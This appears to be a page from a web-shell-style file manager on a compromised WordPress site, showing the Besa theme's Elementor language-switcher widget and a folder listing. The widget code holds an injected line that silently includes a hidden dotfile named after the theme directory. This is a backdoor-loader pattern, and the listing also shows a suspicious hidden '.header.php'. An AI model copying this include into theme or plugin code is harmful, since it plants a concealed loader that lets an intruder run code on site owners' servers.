PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
besa
/
inc
/
vendors
/
elementor
/
elements
/
header
<?php if ( ! defined( 'ABSPATH' ) || function_exists('Besa_Elementor_Custom_Language') ) { exit; // Exit if accessed directly. } use Elementor\Controls_Manager; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class Besa_Elementor_Custom_Language extends Besa_Elementor_Widget_Base { public function get_name() { return 'besa-custom-language'; } public function get_title() { return esc_html__('Besa Language', 'besa'); } public function get_icon() { return 'eicon-text-area'; } protected function get_html_wrapper_class() { return 'w-auto elementor-widget-' . $this->get_name(); } protected function besa_custom_language() { do_action('besa_tbay_header_custom_language'); } protected function _register_controls() { $this->start_controls_section( 'section_layout', [ 'label' => esc_html__('Style', 'besa'), ] ); $this->add_control( 'custom_language_size', [ 'label' => esc_html__('Font Size', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 10, 'max' => 80, ], ], 'selectors' => [ '.tbay-custom-language a span' => 'font-size: {{SIZE}}{{UNIT}} !important;', ], ] ); $this->add_control( 'custom_language_line_height', [ 'label' => esc_html__('Line Height', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 10, 'max' => 80, ], ], 'selectors' => [ '.tbay-custom-language a span' => 'line-height: {{SIZE}}{{UNIT}} !important;', ], ] ); $this->add_control( 'color_text_custom_language', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .tbay-custom-language .select-button' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'hover_color_text_custom_language', [ 'label' => esc_html__('Hover Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .tbay-custom-language .select-button:hover,{{WRAPPER}} .tbay-custom-language li:hover .select-button, {{WRAPPER}} .tbay-custom-language .select-button:hover:after,{{WRAPPER}} .tbay-custom-language li:hover .select-button:after, {{WRAPPER}} a:hover' => 'color: {{VALUE}}', ], ] ); $this->end_controls_section(); } } $widgets_manager->register_widget_type(new Besa_Elementor_Custom_Language());
[+]
..
[-] custom-language.php
[edit]
[-] account.php
[edit]
[-] nav-menu.php
[edit]
[-] banner-close.php
[edit]
[-] site-logo.php
[edit]
[-] .header.php
[edit]
[-] compare.php
[edit]
[-] mini-cart.php
[edit]
[-] search-form.php
[edit]
[-] currency.php
[edit]
[-] wishlist.php
[edit]